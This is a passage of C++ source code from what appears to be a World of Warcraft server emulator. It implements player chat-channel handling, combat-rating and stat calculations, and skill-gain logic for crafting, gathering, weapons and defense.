{
WorldPacket data(SMSG_DEATH_RELEASE_LOC, 4*4); // show spirit healer position on minimap
data << ClosestGrave->map_id;
data << ClosestGrave->x;
data << ClosestGrave->y;
data << ClosestGrave->z;
GetSession()->SendPacket(&data);
}
}
}
void Player::JoinedChannel(Channel *c)
{
m_channels.push_back(c);
}
void Player::LeftChannel(Channel *c)
{
m_channels.remove(c);
}
void Player::CleanupChannels()
{
while (!m_channels.empty())
{
Channel* ch = *m_channels.begin();
m_channels.erase(m_channels.begin()); // remove from player's channel list
ch->Leave(GetObjectGuid(), false); // not send to client, not remove from player's channel list
if (ChannelMgr* cMgr = channelMgr(GetTeam()))
cMgr->LeftChannel(ch->GetName()); // deleted channel if empty
}
DEBUG_LOG("Player: channels cleaned up!");
}
void Player::UpdateLocalChannels(uint32 newZone )
{
if (m_channels.empty())
return;
AreaTableEntry const* current_zone = GetAreaEntryByAreaID(newZone);
if(!current_zone)
return;
ChannelMgr* cMgr = channelMgr(GetTeam());
if(!cMgr)
return;
std::string current_zone_name = current_zone->area_name[GetSession()->GetSessionDbcLocale()];
for(JoinedChannelsList::iterator i = m_channels.begin(), next; i != m_channels.end(); i = next)
{
next = i; ++next;
// skip non built-in channels
if(!(*i)->IsConstant())
continue;
ChatChannelsEntry const* ch = GetChannelEntryFor((*i)->GetChannelId());
if(!ch)
continue;
if((ch->flags & 4) == 4) // global channel without zone name in pattern
continue;
// new channel
char new_channel_name_buf[100];
snprintf(new_channel_name_buf,100,ch->pattern[m_session->GetSessionDbcLocale()],current_zone_name.c_str());
Channel* new_channel = cMgr->GetJoinChannel(new_channel_name_buf,ch->ChannelID);
if ((*i)!=new_channel)
{
new_channel->Join(GetObjectGuid(),""); // will output Changed Channel: N. Name
// leave old channel
(*i)->Leave(GetObjectGuid(),false); // not send leave channel, it already replaced at client
std::string name = (*i)->GetName(); // store name, (*i)erase in LeftChannel
LeftChannel(*i); // remove from player's channel list
cMgr->LeftChannel(name); // delete if empty
}
}
DEBUG_LOG("Player: channels cleaned up!");
}
void Player::LeaveLFGChannel()
{
for(JoinedChannelsList::iterator i = m_channels.begin(); i != m_channels.end(); ++i )
{
if ((*i)->IsLFG())
{
(*i)->Leave(GetObjectGuid());
break;
}
}
}
void Player::JoinLFGChannel()
{
for(JoinedChannelsList::iterator i = m_channels.begin(); i != m_channels.end(); ++i )
{
if((*i)->IsLFG())
{
(*i)->Join(GetObjectGuid(),"");
break;
}
}
}
void Player::UpdateDefense()
{
uint32 defense_skill_gain = sWorld.getConfig(CONFIG_UINT32_SKILL_GAIN_DEFENSE);
if (UpdateSkill(SKILL_DEFENSE,defense_skill_gain))
{
// update dependent from defense skill part
UpdateDefenseBonusesMod();
}
}
void Player::HandleBaseModValue(BaseModGroup modGroup, BaseModType modType, float amount, bool apply)
{
if (modGroup >= BASEMOD_END || modType >= MOD_END)
{
sLog.outError("ERROR in HandleBaseModValue(): nonexistent BaseModGroup of wrong BaseModType!");
return;
}
float val = 1.0f;
switch(modType)
{
case FLAT_MOD:
m_auraBaseMod[modGroup][modType] += apply ? amount : -amount;
break;
case PCT_MOD:
if (amount <= -100.0f)
amount = -200.0f;
// Shield Block Value PCT_MODs should be added, not multiplied
if (modGroup == SHIELD_BLOCK_VALUE)
{
val = amount / 100.0f;
m_auraBaseMod[modGroup][modType] += apply ? val : -val;
}
else
{
val = (100.0f + amount) / 100.0f;
m_auraBaseMod[modGroup][modType] *= apply ? val : (1.0f/val);
}
break;
}
if(!CanModifyStats())
return;
switch(modGroup)
{
case CRIT_PERCENTAGE: UpdateCritPercentage(BASE_ATTACK); break;
case RANGED_CRIT_PERCENTAGE: UpdateCritPercentage(RANGED_ATTACK); break;
case OFFHAND_CRIT_PERCENTAGE: UpdateCritPercentage(OFF_ATTACK); break;
case SHIELD_BLOCK_VALUE: UpdateShieldBlockValue(); break;
default: break;
}
}
float Player::GetBaseModValue(BaseModGroup modGroup, BaseModType modType) const
{
if (modGroup >= BASEMOD_END || modType > MOD_END)
{
sLog.outError("trial to access nonexistent BaseModGroup or wrong BaseModType!");
return 0.0f;
}
if (modType == PCT_MOD && m_auraBaseMod[modGroup][PCT_MOD] <= 0.0f)
return 0.0f;
return m_auraBaseMod[modGroup][modType];
}
float Player::GetTotalBaseModValue(BaseModGroup modGroup) const
{
if (modGroup >= BASEMOD_END)
{
sLog.outError("wrong BaseModGroup in GetTotalBaseModValue()!");
return 0.0f;
}
if (m_auraBaseMod[modGroup][PCT_MOD] <= 0.0f)
return 0.0f;
return m_auraBaseMod[modGroup][FLAT_MOD] * m_auraBaseMod[modGroup][PCT_MOD];
}
uint32 Player::GetShieldBlockValue() const
{
float value = (m_auraBaseMod[SHIELD_BLOCK_VALUE][FLAT_MOD] + GetStat(STAT_STRENGTH) * 0.5f - 10)*m_auraBaseMod[SHIELD_BLOCK_VALUE][PCT_MOD];
value = (value < 0) ? 0 : value;
return uint32(value);
}
float Player::GetMeleeCritFromAgility()
{
uint32 level = getLevel();
uint32 pclass = getClass();
if (level>GT_MAX_LEVEL) level = GT_MAX_LEVEL;
GtChanceToMeleeCritBaseEntry const *critBase = sGtChanceToMeleeCritBaseStore.LookupEntry(pclass-1);
GtChanceToMeleeCritEntry const *critRatio = sGtChanceToMeleeCritStore.LookupEntry((pclass-1)*GT_MAX_LEVEL + level-1);
if (critBase==NULL || critRatio==NULL)
return 0.0f;
float crit=critBase->base + GetStat(STAT_AGILITY)*critRatio->ratio;
return crit*100.0f;
}
void Player::GetDodgeFromAgility(float &diminishing, float &nondiminishing)
{
// Table for base dodge values
const float dodge_base[MAX_CLASSES] =
{
0.036640f, // Warrior
0.034943f, // Paladin
-0.040873f, // Hunter
0.020957f, // Rogue
0.034178f, // Priest
0.036640f, // DK
0.021080f, // Shaman
0.036587f, // Mage
0.024211f, // Warlock
0.0f, // ??
0.056097f // Druid
};
// Crit/agility to dodge/agility coefficient multipliers; 3.2.0 increased required agility by 15%
const float crit_to_dodge[MAX_CLASSES] =
{
0.85f/1.15f, // Warrior
1.00f/1.15f, // Paladin
1.11f/1.15f, // Hunter
2.00f/1.15f, // Rogue
1.00f/1.15f, // Priest
0.85f/1.15f, // DK
1.60f/1.15f, // Shaman
1.00f/1.15f, // Mage
0.97f/1.15f, // Warlock (?)
0.0f, // ??
2.00f/1.15f // Druid
};
uint32 level = getLevel();
uint32 pclass = getClass();
if (level>GT_MAX_LEVEL) level = GT_MAX_LEVEL;
// Dodge per agility is proportional to crit per agility, which is available from DBC files
GtChanceToMeleeCritEntry const *dodgeRatio = sGtChanceToMeleeCritStore.LookupEntry((pclass-1)*GT_MAX_LEVEL + level-1);
if (dodgeRatio==NULL || pclass > MAX_CLASSES)
return;
// TODO: research if talents/effects that increase total agility by x% should increase non-diminishing part
float base_agility = GetCreateStat(STAT_AGILITY) * m_auraModifiersGroup[UNIT_MOD_STAT_START + STAT_AGILITY][BASE_PCT];
float bonus_agility = GetStat(STAT_AGILITY) - base_agility;
// calculate diminishing (green in char screen) and non-diminishing (white) contribution
diminishing = 100.0f * bonus_agility * dodgeRatio->ratio * crit_to_dodge[pclass-1];
nondiminishing = 100.0f * (dodge_base[pclass-1] + base_agility * dodgeRatio->ratio * crit_to_dodge[pclass-1]);
}
float Player::GetSpellCritFromIntellect()
{
uint32 level = getLevel();
uint32 pclass = getClass();
if (level>GT_MAX_LEVEL) level = GT_MAX_LEVEL;
GtChanceToSpellCritBaseEntry const *critBase = sGtChanceToSpellCritBaseStore.LookupEntry(pclass-1);
GtChanceToSpellCritEntry const *critRatio = sGtChanceToSpellCritStore.LookupEntry((pclass-1)*GT_MAX_LEVEL + level-1);
if (critBase==NULL || critRatio==NULL)
return 0.0f;
float crit=critBase->base + GetStat(STAT_INTELLECT)*critRatio->ratio;
return crit*100.0f;
}
float Player::GetRatingMultiplier(CombatRating cr) const
{
uint32 level = getLevel();
if (level>GT_MAX_LEVEL) level = GT_MAX_LEVEL;
GtCombatRatingsEntry const *Rating = sGtCombatRatingsStore.LookupEntry(cr*GT_MAX_LEVEL+level-1);
// gtOCTClassCombatRatingScalarStore.dbc starts with 1, CombatRating with zero, so cr+1
GtOCTClassCombatRatingScalarEntry const *classRating = sGtOCTClassCombatRatingScalarStore.LookupEntry((getClass()-1)*GT_MAX_RATING+cr+1);
if (!Rating || !classRating)
return 1.0f; // By default use minimum coefficient (not must be called)
return classRating->ratio / Rating->ratio;
}
float Player::GetRatingBonusValue(CombatRating cr) const
{
return float(GetUInt32Value(PLAYER_FIELD_COMBAT_RATING_1 + cr)) * GetRatingMultiplier(cr);
}
float Player::GetExpertiseDodgeOrParryReduction(WeaponAttackType attType) const
{
switch (attType)
{
case BASE_ATTACK:
return GetUInt32Value(PLAYER_EXPERTISE) / 4.0f;
case OFF_ATTACK:
return GetUInt32Value(PLAYER_OFFHAND_EXPERTISE) / 4.0f;
default:
break;
}
return 0.0f;
}
float Player::OCTRegenHPPerSpirit()
{
uint32 level = getLevel();
uint32 pclass = getClass();
if (level>GT_MAX_LEVEL) level = GT_MAX_LEVEL;
GtOCTRegenHPEntry const *baseRatio = sGtOCTRegenHPStore.LookupEntry((pclass-1)*GT_MAX_LEVEL + level-1);
GtRegenHPPerSptEntry const *moreRatio = sGtRegenHPPerSptStore.LookupEntry((pclass-1)*GT_MAX_LEVEL + level-1);
if (baseRatio==NULL || moreRatio==NULL)
return 0.0f;
// Formula from PaperDollFrame script
float spirit = GetStat(STAT_SPIRIT);
float baseSpirit = spirit;
if (baseSpirit>50) baseSpirit = 50;
float moreSpirit = spirit - baseSpirit;
float regen = baseSpirit * baseRatio->ratio + moreSpirit * moreRatio->ratio;
return regen;
}
float Player::OCTRegenMPPerSpirit()
{
uint32 level = getLevel();
uint32 pclass = getClass();
if (level>GT_MAX_LEVEL) level = GT_MAX_LEVEL;
// GtOCTRegenMPEntry const *baseRatio = sGtOCTRegenMPStore.LookupEntry((pclass-1)*GT_MAX_LEVEL + level-1);
GtRegenMPPerSptEntry const *moreRatio = sGtRegenMPPerSptStore.LookupEntry((pclass-1)*GT_MAX_LEVEL + level-1);
if (moreRatio==NULL)
return 0.0f;
// Formula get from PaperDollFrame script
float spirit = GetStat(STAT_SPIRIT);
float regen = spirit * moreRatio->ratio;
return regen;
}
void Player::ApplyRatingMod(CombatRating cr, int32 value, bool apply)
{
m_baseRatingValue[cr]+=(apply ? value : -value);
// explicit affected values
switch (cr)
{
case CR_HASTE_MELEE:
{
float RatingChange = value * GetRatingMultiplier(cr);
ApplyAttackTimePercentMod(BASE_ATTACK,RatingChange,apply);
ApplyAttackTimePercentMod(OFF_ATTACK,RatingChange,apply);
break;
}
case CR_HASTE_RANGED:
{
float RatingChange = value * GetRatingMultiplier(cr);
ApplyAttackTimePercentMod(RANGED_ATTACK, RatingChange, apply);
break;
}
case CR_HASTE_SPELL:
{
float RatingChange = value * GetRatingMultiplier(cr);
ApplyCastTimePercentMod(RatingChange,apply);
break;
}
default:
break;
}
UpdateRating(cr);
}
void Player::UpdateRating(CombatRating cr)
{
int32 amount = m_baseRatingValue[cr];
// Apply bonus from SPELL_AURA_MOD_RATING_FROM_STAT
// stat used stored in miscValueB for this aura
AuraList const& modRatingFromStat = GetAurasByType(SPELL_AURA_MOD_RATING_FROM_STAT);
for(AuraList::const_iterator i = modRatingFromStat.begin();i != modRatingFromStat.end(); ++i)
if ((*i)->GetMiscValue() & (1<<cr))
amount += int32(GetStat(Stats((*i)->GetMiscBValue())) * (*i)->GetModifier()->m_amount / 100.0f);
if (amount < 0)
amount = 0;
SetUInt32Value(PLAYER_FIELD_COMBAT_RATING_1 + cr, uint32(amount));
bool affectStats = CanModifyStats();
switch (cr)
{
case CR_WEAPON_SKILL: // Implemented in Unit::RollMeleeOutcomeAgainst
case CR_DEFENSE_SKILL:
UpdateDefenseBonusesMod();
break;
case CR_DODGE:
UpdateDodgePercentage();
break;
case CR_PARRY:
UpdateParryPercentage();
break;
case CR_BLOCK:
UpdateBlockPercentage();
break;
case CR_HIT_MELEE:
UpdateMeleeHitChances();
break;
case CR_HIT_RANGED:
UpdateRangedHitChances();
break;
case CR_HIT_SPELL:
UpdateSpellHitChances();
break;
case CR_CRIT_MELEE:
if (affectStats)
{
UpdateCritPercentage(BASE_ATTACK);
UpdateCritPercentage(OFF_ATTACK);
}
break;
case CR_CRIT_RANGED:
if (affectStats)
UpdateCritPercentage(RANGED_ATTACK);
break;
case CR_CRIT_SPELL:
if (affectStats)
UpdateAllSpellCritChances();
break;
case CR_HIT_TAKEN_MELEE: // Implemented in Unit::MeleeMissChanceCalc
case CR_HIT_TAKEN_RANGED:
break;
case CR_HIT_TAKEN_SPELL: // Implemented in Unit::MagicSpellHitResult
break;
case CR_CRIT_TAKEN_MELEE: // Implemented in Unit::RollMeleeOutcomeAgainst (only for chance to crit)
case CR_CRIT_TAKEN_RANGED:
break;
case CR_CRIT_TAKEN_SPELL: // Implemented in Unit::SpellCriticalBonus (only for chance to crit)
break;
case CR_HASTE_MELEE: // Implemented in Player::ApplyRatingMod
case CR_HASTE_RANGED:
case CR_HASTE_SPELL:
break;
case CR_WEAPON_SKILL_MAINHAND: // Implemented in Unit::RollMeleeOutcomeAgainst
case CR_WEAPON_SKILL_OFFHAND:
case CR_WEAPON_SKILL_RANGED:
break;
case CR_EXPERTISE:
if (affectStats)
{
UpdateExpertise(BASE_ATTACK);
UpdateExpertise(OFF_ATTACK);
}
break;
case CR_ARMOR_PENETRATION:
if (affectStats)
UpdateArmorPenetration();
break;
}
}
void Player::UpdateAllRatings()
{
for(int cr = 0; cr < MAX_COMBAT_RATING; ++cr)
UpdateRating(CombatRating(cr));
}
void Player::SetRegularAttackTime()
{
for(int i = 0; i < MAX_ATTACK; ++i)
{
Item *tmpitem = GetWeaponForAttack(WeaponAttackType(i),true,false);
if (tmpitem)
{
ItemPrototype const *proto = tmpitem->GetProto();
if (proto->Delay)
SetAttackTime(WeaponAttackType(i), proto->Delay);
else
SetAttackTime(WeaponAttackType(i), BASE_ATTACK_TIME);
}
}
}
//skill+step, checking for max value
bool Player::UpdateSkill(uint32 skill_id, uint32 step)
{
if(!skill_id)
return false;
SkillStatusMap::iterator itr = mSkillStatus.find(skill_id);
if (itr == mSkillStatus.end() || itr->second.uState == SKILL_DELETED)
return false;
uint32 valueIndex = PLAYER_SKILL_VALUE_INDEX(itr->second.pos);
uint32 data = GetUInt32Value(valueIndex);
uint32 value = SKILL_VALUE(data);
uint32 max = SKILL_MAX(data);
if ((!max) || (!value) || (value >= max))
return false;
if (value*512 < max*urand(0,512))
{
uint32 new_value = value+step;
if (new_value > max)
new_value = max;
SetUInt32Value(valueIndex,MAKE_SKILL_VALUE(new_value,max));
if (itr->second.uState != SKILL_NEW)
itr->second.uState = SKILL_CHANGED;
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_REACH_SKILL_LEVEL,skill_id);
return true;
}
return false;
}
inline int SkillGainChance(uint32 SkillValue, uint32 GrayLevel, uint32 GreenLevel, uint32 YellowLevel)
{
if ( SkillValue >= GrayLevel )
return sWorld.getConfig(CONFIG_UINT32_SKILL_CHANCE_GREY)*10;
if ( SkillValue >= GreenLevel )
return sWorld.getConfig(CONFIG_UINT32_SKILL_CHANCE_GREEN)*10;
if ( SkillValue >= YellowLevel )
return sWorld.getConfig(CONFIG_UINT32_SKILL_CHANCE_YELLOW)*10;
return sWorld.getConfig(CONFIG_UINT32_SKILL_CHANCE_ORANGE)*10;
}
bool Player::UpdateCraftSkill(uint32 spellid)
{
DEBUG_LOG("UpdateCraftSkill spellid %d", spellid);
SkillLineAbilityMapBounds bounds = sSpellMgr.GetSkillLineAbilityMapBounds(spellid);
for(SkillLineAbilityMap::const_iterator _spell_idx = bounds.first; _spell_idx != bounds.second; ++_spell_idx)
{
if (_spell_idx->second->skillId)
{
uint32 SkillValue = GetPureSkillValue(_spell_idx->second->skillId);
// Alchemy Discoveries here
SpellEntry const* spellEntry = sSpellStore.LookupEntry(spellid);
if (spellEntry && spellEntry->Mechanic == MECHANIC_DISCOVERY)
{
if (uint32 discoveredSpell = sSpellMgr.GetSkillDiscoverySpell(_spell_idx->second->skillId, spellid, this))
learnSpell(discoveredSpell, false);
}
uint32 craft_skill_gain = sWorld.getConfig(CONFIG_UINT32_SKILL_GAIN_CRAFTING);
return UpdateSkillPro(_spell_idx->second->skillId, SkillGainChance(SkillValue,
_spell_idx->second->max_value,
(_spell_idx->second->max_value + _spell_idx->second->min_value)/2,
_spell_idx->second->min_value),
craft_skill_gain);
}
}
return false;
}
bool Player::UpdateGatherSkill(uint32 SkillId, uint32 SkillValue, uint32 RedLevel, uint32 Multiplicator )
{
DEBUG_LOG("UpdateGatherSkill(SkillId %d SkillLevel %d RedLevel %d)", SkillId, SkillValue, RedLevel);
uint32 gathering_skill_gain = sWorld.getConfig(CONFIG_UINT32_SKILL_GAIN_GATHERING);
// For skinning and Mining chance decrease with level. 1-74 - no decrease, 75-149 - 2 times, 225-299 - 8 times
switch (SkillId)
{
case SKILL_HERBALISM:
case SKILL_LOCKPICKING:
case SKILL_JEWELCRAFTING:
case SKILL_INSCRIPTION:
return UpdateSkillPro(SkillId, SkillGainChance(SkillValue, RedLevel+100, RedLevel+50, RedLevel+25)*Multiplicator,gathering_skill_gain);
case SKILL_SKINNING:
if ( sWorld.getConfig(CONFIG_UINT32_SKILL_CHANCE_SKINNING_STEPS)==0)
return UpdateSkillPro(SkillId, SkillGainChance(SkillValue, RedLevel+100, RedLevel+50, RedLevel+25)*Multiplicator,gathering_skill_gain);
else
return UpdateSkillPro(SkillId, (SkillGainChance(SkillValue, RedLevel+100, RedLevel+50, RedLevel+25)*Multiplicator) >> (SkillValue/sWorld.getConfig(CONFIG_UINT32_SKILL_CHANCE_SKINNING_STEPS)), gathering_skill_gain);
case SKILL_MINING:
if (sWorld.getConfig(CONFIG_UINT32_SKILL_CHANCE_MINING_STEPS)==0)
return UpdateSkillPro(SkillId, SkillGainChance(SkillValue, RedLevel+100, RedLevel+50, RedLevel+25)*Multiplicator,gathering_skill_gain);
else
return UpdateSkillPro(SkillId, (SkillGainChance(SkillValue, RedLevel+100, RedLevel+50, RedLevel+25)*Multiplicator) >> (SkillValue/sWorld.getConfig(CONFIG_UINT32_SKILL_CHANCE_MINING_STEPS)),gathering_skill_gain);
}
return false;
}
bool Player::UpdateFishingSkill()
{
DEBUG_LOG("UpdateFishingSkill");
uint32 SkillValue = GetPureSkillValue(SKILL_FISHING);
int32 chance = SkillValue < 75 ? 100 : 2500/(SkillValue-50);
uint32 gathering_skill_gain = sWorld.getConfig(CONFIG_UINT32_SKILL_GAIN_GATHERING);
return UpdateSkillPro(SKILL_FISHING,chance*10,gathering_skill_gain);
}
// levels sync. with spell requirement for skill levels to learn
// bonus abilities in sSkillLineAbilityStore
// Used only to avoid scan DBC at each skill grow
static uint32 bonusSkillLevels[] = {75,150,225,300,375,450};
bool Player::UpdateSkillPro(uint16 SkillId, int32 Chance, uint32 step)
{
DEBUG_LOG("UpdateSkillPro(SkillId %d, Chance %3.1f%%)", SkillId, Chance/10.0);
if ( !SkillId )
return false;
if (Chance <= 0) // speedup in 0 chance case
{
DEBUG_LOG("Player::UpdateSkillPro Chance=%3.1f%% missed", Chance/10.0);
return false;
}
SkillStatusMap::iterator itr = mSkillStatus.find(SkillId);
if (itr == mSkillStatus.end() || itr->second.uState == SKILL_DELETED)
return false;
uint32 valueIndex = PLAYER_SKILL_VALUE_INDEX(itr->second.pos);
uint32 data = GetUInt32Value(valueIndex);
uint16 SkillValue = SKILL_VALUE(data);
uint16 MaxValue = SKILL_MAX(data);
if ( !MaxValue || !SkillValue || SkillValue >= MaxValue )
return false;
int32 Roll = irand(1,1000);
if ( Roll <= Chance )
{
uint32 new_value = SkillValue+step;
if (new_value > MaxValue)
new_value = MaxValue;
SetUInt32Value(valueIndex,MAKE_SKILL_VALUE(new_value,MaxValue));
if (itr->second.uState != SKILL_NEW)
itr->second.uState = SKILL_CHANGED;
for(uint32* bsl = &bonusSkillLevels[0]; *bsl; ++bsl)
{
if((SkillValue < *bsl && new_value >= *bsl))
{
learnSkillRewardedSpells( SkillId, new_value);
break;
}
}
// Update depended enchants
for (int i = EQUIPMENT_SLOT_START; i < EQUIPMENT_SLOT_END; ++i)
{
if (Item *pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i ))
{
for(int slot = 0; slot < MAX_ENCHANTMENT_SLOT; ++slot)
{
uint32 enchant_id = pItem->GetEnchantmentId(EnchantmentSlot(slot));
if (!enchant_id)
continue;
SpellItemEnchantmentEntry const *pEnchant = sSpellItemEnchantmentStore.LookupEntry(enchant_id);
if (!pEnchant)
continue;
if (pEnchant->requiredSkill != SkillId)
continue;
if (SkillValue < pEnchant->requiredSkillValue && new_value >= pEnchant->requiredSkillValue)
ApplyEnchantment(pItem, EnchantmentSlot(slot), true);
}
}
}
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_REACH_SKILL_LEVEL,SkillId);
DEBUG_LOG("Player::UpdateSkillPro Chance=%3.1f%% taken", Chance/10.0);
return true;
}
DEBUG_LOG("Player::UpdateSkillPro Chance=%3.1f%% missed", Chance/10.0);
return false;
}
void Player::UpdateWeaponSkill(WeaponAttackType attType)
{
// no skill gain in pvp
Unit* pVictim = getVictim();
if (pVictim && pVictim->IsCharmerOrOwnerPlayerOrPlayerItself())
return;
if (IsInFeralForm())
return; // always maximized SKILL_FERAL_COMBAT in fact
if (GetShapeshiftForm() == FORM_TREE)
return; // use weapon but not skill up
uint32 weaponSkillGain = sWorld.getConfig(CONFIG_UINT32_SKILL_GAIN_WEAPON);
Item* pWeapon = GetWeaponForAttack(attType, true, true);
if (pWeapon && pWeapon->GetProto()->SubClass != ITEM_SUBCLASS_WEAPON_FISHING_POLE)
UpdateSkill(pWeapon->GetSkill(), weaponSkillGain);
else if (!pWeapon && attType == BASE_ATTACK)
UpdateSkill(SKILL_UNARMED, weaponSkillGain);
UpdateAllCritPercentages();
}
void Player::UpdateCombatSkills(Unit *pVictim, WeaponAttackType attType, bool defence)
{
uint32 plevel = getLevel(); // if defense than pVictim == attacker
uint32 greylevel = MaNGOS::XP::GetGrayLevel(plevel);
uint32 moblevel = pVictim->GetLevelForTarget(this);
if (moblevel < greylevel)
return;
if (moblevel > plevel + 5)
moblevel = plevel + 5;
uint32 lvldif = moblevel - greylevel;
if (lvldif < 3)
lvldif = 3;
int32 skilldif = 5 * plevel - (defence ? GetBaseDefenseSkillValue() : GetBaseWeaponSkillValue(attType));
// Max skill reached for level.
// Can in some cases be less than 0: having max skill and then .level -1 as example.
if (skilldif <= 0)
return;
float chance = float(3 * lvldif * skilldif) / plevel;
if(!defence)
chance *= 0.1f * GetStat(STAT_INTELLECT);
chance = chance < 1.0f ? 1.0f : chance; //minimum chance to increase skill is 1%
if (roll_chance_f(chance))
{
if (defence)
UpdateDefense();
else
UpdateWeaponSkill(attType);
}
else
return;
}
void Player::ModifySkillBonus(uint32 skillid,int32 val, bool talent)
{
SkillStatusMap::const_iterator itr = mSkillStatus.find(skillid);
if (itr == mSkillStatus.end() || itr->second.uState == SKILL_DELETED)
return;
uint32 bonusIndex = PLAYER_SKILL_BONUS_INDEX(itr->second.pos);
uint32 bonus_val = GetUInt32Value(bonusIndex);
int16 temp_bonus = SKILL_TEMP_BONUS(bonus_val);
int16 perm_bonus = SKILL_PERM_BONUS(bonus_val);
if (talent) // permanent bonus stored in high part
SetUInt32Value(bonusIndex,MAKE_SKILL_BONUS(temp_bonus,perm_bonus+val));
else // temporary/item bonus stored in low part
SetUInt32Value(bonusIndex,MAKE_SKILL_BONUS(temp_bonus+val,perm_bonus));
}
void Player::UpdateSkillsForLevel()
{
uint16 maxconfskill = sWorld.GetConfigMaxSkillValue();
uint32 maxSkill = GetMaxSkillValueForLevel();
bool alwaysMaxSkill = sWorld.getConfig(CONFIG_BOOL_ALWAYS_MAX_SKILL_FOR_LEVEL);
for(SkillStatusMap::iterator itr = mSkillStatus.begin(); itr != mSkillStatus.end(); ++itr)
{
if (itr->second.uState == SKILL_DELETED)
continue;
uint32 pskill = itr->first;
SkillLineEntry const *pSkill = sSkillLineStore.LookupEntry(pskill);
if(!pSkill)
continue;
if (GetSkillRangeType(pSkill,false) != SKILL_RANGE_LEVEL)
continue;
uint32 valueIndex = PLAYER_SKILL_VALUE_INDEX(itr->second.pos);
uint32 data = GetUInt32Value(valueIndex);
uint32 max = SKILL_MAX(data);
uint32 val = SKILL_VALUE(data);
/// update only level dependent max skill values
if (max!=1)
{
/// maximize skill always
if (alwaysMaxSkill)
{
SetUInt32Value(valueIndex, MAKE_SKILL_VALUE(maxSkill,maxSkill));
if (itr->second.uState != SKILL_NEW)
itr->second.uState = SKILL_CHANGED;
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_REACH_SKILL_LEVEL, pskill);
}
else if (max != maxconfskill) /// update max skill value if current max skill not maximized
{
SetUInt32Value(valueIndex, MAKE_SKILL_VALUE(val,maxSkill));
if (itr->second.uState != SKILL_NEW)
itr->second.uState = SKILL_CHANGED;
}
}
}
}
void Player::UpdateSkillsToMaxSkillsForLevel()
{
for(SkillStatusMap::iterator itr = mSkillStatus.begin(); itr != mSkillStatus.end(); ++itr)
{
if (itr->second.uState == SKILL_DELETED)
continue;
uint32 pskill = itr->first;
if ( IsProfessionOrRidingSkill(pskill))
continue;
uint32 valueIndex = PLAYER_SKILL_VALUE_INDEX(itr->second.pos);
uint32 data = GetUInt32Value(valueIndex);
uint32 max = SKILL_MAX(data);
if (max > 1)
{
SetUInt32Value(valueIndex,MAKE_SKILL_VALUE(max,max));
if (itr->second.uState != SKILL_NEW)
itr->second.uState = SKILL_CHANGED;
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_REACH_SKILL_LEVEL, pskill);
}
if (pskill == SKILL_DEFENSE)
UpdateDefenseBonusesMod();
}
}
// This functions sets a skill line value (and adds if doesn't exist yet)
// To "remove" a skill line, set it's values to zero
void Player::SetSkill(uint16 id, uint16 currVal, uint16 maxVal, uint16 step /*=0*/)
{
if(!id)
return;
SkillStatusMap::iterator itr = mSkillStatus.find(id);
// has skill
if (itr != mSkillStatus.end() && itr->second.uState != SKILL_DELETED)
{
if (currVal)
{
for (int i = EQUIPMENT_SLOT_START; i < EQUIPMENT_SLOT_END; ++i)
{
if (Item *pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i ))
{
for(int slot = 0; slot < MAX_ENCHANTMENT_SLOT; ++slot)
{
uint32 enchant_id = pItem->GetEnchantmentId(EnchantmentSlot(slot));
if (!enchant_id)
continue;
SpellItemEnchantmentEntry const *pEnchant = sSpellItemEnchantmentStore.LookupEntry(enchant_id);
if (!pEnchant)
continue;
if (pEnchant->requiredSkill != id)
continue;
ApplyEnchantment(pItem, EnchantmentSlot(slot), false);
}
}
}
if (step) // need update step
SetUInt32Value(PLAYER_SKILL_INDEX(itr->second.pos), MAKE_PAIR32(id, step));
// update value
SetUInt32Value(PLAYER_SKILL_VALUE_INDEX(itr->second.pos), MAKE_SKILL_VALUE(currVal, maxVal));
if (itr->second.uState != SKILL_NEW)
itr->second.uState = SKILL_CHANGED;
learnSkillRewardedSpells(id, currVal);
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_REACH_SKILL_LEVEL, id);
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_LEARN_SKILL_LEVEL, id);
for (int i = EQUIPMENT_SLOT_START; i < EQUIPMENT_SLOT_END; ++i)
{
if (Item *pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i ))
{
for(int slot = 0; slot < MAX_ENCHANTMENT_SLOT; ++slot)
{
uint32 enchant_id = pItem->GetEnchantmentId(EnchantmentSlot(slot));
if (!enchant_id)
continue;
SpellItemEnchantmentEntry const *pEnchant = sSpellItemEnchantmentStore.LookupEntry(enchant_id);
if (!pEnchant)
continue;
if (pEnchant->requiredSkill != id)
continue;
ApplyEnchantment(pItem, EnchantmentSlot(slot), true);
}
}
}
}
else //remove
{
// Remove depended enchants
for (int i = EQUIPMENT_SLOT_START; i < EQUIPMENT_SLOT_END; ++i)
{
if (Item *pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i ))
{
for(int slot = 0; slot < MAX_ENCHANTMENT_SLOT; ++slot)
{
uint32 enchant_id = pItem->GetEnchantmentId(EnchantmentSlot(slot));
if (!enchant_id)
continue;
SpellItemEnchantmentEntry const *pEnchant = sSpellItemEnchantmentStore.LookupEntry(enchant_id);
if (!pEnchant)
continue;
if (pEnchant->requiredSkill != id)
continue;
ApplyEnchantment(pItem, EnchantmentSlot(slot), false);
}
}
}
// clear skill fields
SetUInt32Value(PLAYER_SKILL_INDEX(itr->second.pos), 0);
SetUInt32Value(PLAYER_SKILL_VALUE_INDEX(itr->second.pos), 0);
SetUInt32Value(PLAYER_SKILL_BONUS_INDEX(itr->second.pos), 0);
// mark as deleted or simply remove from map if not saved yet
if (itr->second.uState != SKILL_NEW)
itr->second.uState = SKILL_DELETED;
else
mSkillStatus.erase(itr);
// remove all spells that related to this skill
for (uint32 j = 0; j < sSkillLineAbilityStore.GetNumRows(); ++j)
if (SkillLineAbilityEntry const *pAbility = sSkillLineAbilityStore.LookupEntry(j))
if (pAbility->skillId == id)
removeSpell(sSpellMgr.GetFirstSpellInChain(pAbility->spellId));
}
}
else if (currVal) // add
{
for (int i = 0; i < PLAYER_MAX_SKILLS; ++i)
{
if (!GetUInt32Value(PLAYER_SKILL_INDEX(i)))
{
